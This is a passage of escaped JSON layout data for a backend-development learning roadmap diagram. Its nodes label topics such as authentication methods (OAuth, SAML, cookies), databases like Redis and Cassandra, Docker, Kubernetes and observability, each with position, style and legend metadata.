\"0rGj7FThLJZouSQUhnqGW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.54739402688512,\n        \"y\": 814.5986472065365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Token Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yRiJgjjv2s1uV9vgo3n8m\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 71.54739402688512,\n        \"y\": 814.5986472065365\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 126,\n      \"height\": 49,\n      \"id\": \"vp-muizdICcmU0gN8zmkS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 200.54739402688512,\n        \"y\": 708.5986472065365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OAuth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0rGj7FThLJZouSQUhnqGW\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 200.54739402688512,\n        \"y\": 708.5986472065365\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 255,\n      \"height\": 50,\n      \"id\": \"ffzsh8_5yRq85trFt9Xhk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.54739402688512,\n        \"y\": 868.0822888531077\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cookie Based Auth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vp-muizdICcmU0gN8zmkS\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 255,\n        \"height\": 50\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 71.54739402688512,\n        \"y\": 868.0822888531077\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 50\n      }\n    },\n    {\n      \"width\": 110,\n      \"height\": 49,\n      \"id\": \"z3EJBpgGm0_Uj3ymhypbX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.54739402688512,\n        \"y\": 923.0781506183678\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OpenID\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ffzsh8_5yRq85trFt9Xhk\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 71.54739402688512,\n        \"y\": 923.0781506183678\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 138,\n      \"height\": 49,\n      \"id\": \"UCHtaePVxS-0kpqlYxbfC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 188.54739402688512,\n        \"y\": 923.561792264939\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SAML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"z3EJBpgGm0_Uj3ymhypbX\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 188.54739402688512,\n        \"y\": 923.561792264939\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ms0TfvSRA1z7NGJAQhdqy\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -697.4907149506867,\n        \"y\": 1188.042999003884\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hashing Algorithms\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -697.4907149506867,\n        \"y\": 1188.042999003884\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"94oRYuULJPdOMI1wihFrU\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -303.00167076442347,\n        \"y\": 1939.3567455783482\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Docker\",\n        \"href\": \"https://roadmap.sh/docker\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -303.00167076442347,\n        \"y\": 1939.3567455783482\n      },\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vDaxr8AIaPbG_3mHr0N6X\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -515.8230929622179,\n        \"y\": 2077.084957691443\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kubernetes\",\n        \"href\": \"https://roadmap.sh/kubernetes\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"94oRYuULJPdOMI1wihFrU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -515.8230929622179,\n        \"y\": 2077.084957691443\n      },\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 157,\n      \"height\": 49,\n      \"id\": \"NulaE1isWqn-feYHg4YQT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -172.4174238777668,\n        \"y\": 2261.4930907958296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Elasticsearch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GPFRMcY1DEtRgnaZwJ3vW\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -172.4174238777668,\n        \"y\": 2261.4930907958296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 157,\n      \"height\": 49,\n      \"id\": \"iN_1EuIwCx_7lRBw1Io4U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -172.4174238777668,\n        \"y\": 2315.2330907958294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Solr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VoYSis1F1ZfTxMlQlXQKB\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -172.4174238777668,\n        \"y\": 2315.2330907958294\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 198,\n      \"height\": 49,\n      \"id\": \"5XGvep2qoti31bsyqNzrU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -189.91071247617333,\n        \"y\": 2425.952124569852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Real-Time Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fekyMpEnaGqjh1Cu4Nyc4\"\n      },\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -189.91071247617333,\n        \"y\": 2425.952124569852\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 194,\n      \"height\": 49,\n      \"id\": \"osvajAJlwGI3XnX0fE-kA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.75932826122437,\n        \"y\": 2531.952124569852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Long Polling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sVuIdAe08IWJVqAt4z-ag\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 108.75932826122437,\n        \"y\": 2531.952124569852\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 194,\n      \"height\": 49,\n      \"id\": \"Tt7yr-ChHncJG0Ge1f0Xk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.75932826122437,\n        \"y\": 2584.952124569852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Short Polling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"osvajAJlwGI3XnX0fE-kA\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 108.75932826122437,\n        \"y\": 2584.952124569852\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T-5VzcfnC9gdSD9zJfGei\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -189.91071247617333,\n        \"y\": 2534.952124569852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"href\": \"https://roadmap.sh/graphql\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"vDaxr8AIaPbG_3mHr0N6X\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 50,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -189.91071247617333,\n        \"y\": 2534.952124569852\n      },\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 50\n      }\n    },\n    {\n      \"width\": 157,\n      \"height\": 174,\n      \"id\": \"k9Xcn33w669GorNeaI4Wz\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -492.51,\n        \"y\": 2425.297762402509\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key-Value\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"UxAr1obi4rfJnohRmi9I0\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 174\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -492.51,\n        \"y\": 2425.297762402509\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 174\n      }\n    },\n    {\n      \"width\": 137,\n      \"height\": 49,\n      \"id\": \"M0iaSSdVPWaCUpyTG50Vf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -482.51,\n        \"y\": 2482.5807103103625\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Redis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"28U6q_X-NTYf7OSKHjoWH\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -482.51,\n        \"y\": 2482.5807103103625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 137,\n      \"height\": 49,\n      \"id\": \"dwfEHInbX2eFiafM-nRMX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -482.51,\n        \"y\": 2535.5807103103625\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DynamoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qOlNzZ7U8LhIGukb67n7U\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -482.51,\n        \"y\": 2535.5807103103625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 157,\n      \"height\": 182,\n      \"id\": \"qdvDOpBG4DByI4ZABVzsl\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -645.9684044316078,\n        \"y\": 2592.37\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Realtime\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"UxAr1obi4rfJnohRmi9I0\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 182\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -645.9684044316078,\n        \"y\": 2592.37\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 182\n      }\n    },\n    {\n      \"width\": 137,\n      \"height\": 49,\n      \"id\": \"RyJFLLGieJ8Xjt-DlIayM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -635.959639996006,\n        \"y\": 2652.116464914003\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Firebase\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"28U6q_X-NTYf7OSKHjoWH\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -635.959639996006,\n        \"y\": 2652.116464914003\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 137,\n      \"height\": 49,\n      \"id\": \"5T0ljwlHL0545ICCeehcQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -635.959639996006,\n        \"y\": 2705.116464914003\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RethinkDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qOlNzZ7U8LhIGukb67n7U\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -635.959639996006,\n        \"y\": 2705.116464914003\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 176,\n      \"height\": 49,\n      \"id\": \"kdulE3Z_BdbtRmq6T2KmR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 132.7143470412414,\n        \"y\": 552.1014358569317\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SQLite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h1SAjQltHtztSt8QmRgab\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 132.7143470412414,\n        \"y\": 552.1014358569317\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 157,\n      \"height\": 174,\n      \"id\": \"Os9E7FSRWhn7wsK1AOBh2\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -645.9684044316078,\n        \"y\": 2768.94005446043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Time Series\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"qdvDOpBG4DByI4ZABVzsl\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 174\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -645.9684044316078,\n        \"y\": 2768.94005446043\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 174\n      }\n    },\n    {\n      \"width\": 137,\n      \"height\": 49,\n      \"id\": \"XbM4TDImSH-56NsITjyHK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -635.9684044316078,\n        \"y\": 2823.686519374433\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Influx DB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RyJFLLGieJ8Xjt-DlIayM\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -635.9684044316078,\n        \"y\": 2823.686519374433\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 137,\n      \"height\": 49,\n      \"id\": \"WiAK70I0z-_bzbWNwiHUd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -635.9684044316078,\n        \"y\": 2876.686519374433\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TimeScale\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5T0ljwlHL0545ICCeehcQ\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -635.9684044316078,\n        \"y\": 2876.686519374433\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 157,\n      \"height\": 174,\n      \"id\": \"-SkGi8qy2AGwO2_ACw0aD\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -492.2667613883802,\n        \"y\": 2768.94005446043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Column DBs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"Os9E7FSRWhn7wsK1AOBh2\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 174\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -492.2667613883802,\n        \"y\": 2768.94005446043\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 174\n      }\n    },\n    {\n      \"width\": 137,\n      \"height\": 49,\n      \"id\": \"gT6-z2vhdIQDzmR2K1g1U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -482.2667613883802,\n        \"y\": 2823.677754938831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cassandra\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XbM4TDImSH-56NsITjyHK\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -482.2667613883802,\n        \"y\": 2823.677754938831\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 137,\n      \"height\": 49,\n      \"id\": \"QZwTLOvjUTaSb_9deuxsR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -482.2667613883802,\n        \"y\": 2876.677754938831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Base\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WiAK70I0z-_bzbWNwiHUd\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -482.2667613883802,\n        \"y\": 2876.677754938831\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 154,\n      \"height\": 49,\n      \"id\": \"5xy66yQrz1P1w7n6PcAFq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -323.1468377513407,\n        \"y\": 2876.686519374433\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AWS Neptune\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BTNJfWemFKEeNeTyENXui\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -323.1468377513407,\n        \"y\": 2876.686519374433\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"Z01E67D6KjrShvQCHjGR7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.53008917907368,\n        \"y\": 3297.1992283116183\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Observability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4X-sbqpP0NDhM99bKdqIa\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 73.53008917907368,\n        \"y\": 3297.1992283116183\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yAWJWj4D761M0i8iERID3\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -624.7958506779293,\n        \"y\": 3031.464403993429\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Infrastructure Knowledge\",\n        \"href\": \"https://roadmap.sh/devops?r=devops-beginner\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"T-5VzcfnC9gdSD9zJfGei\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        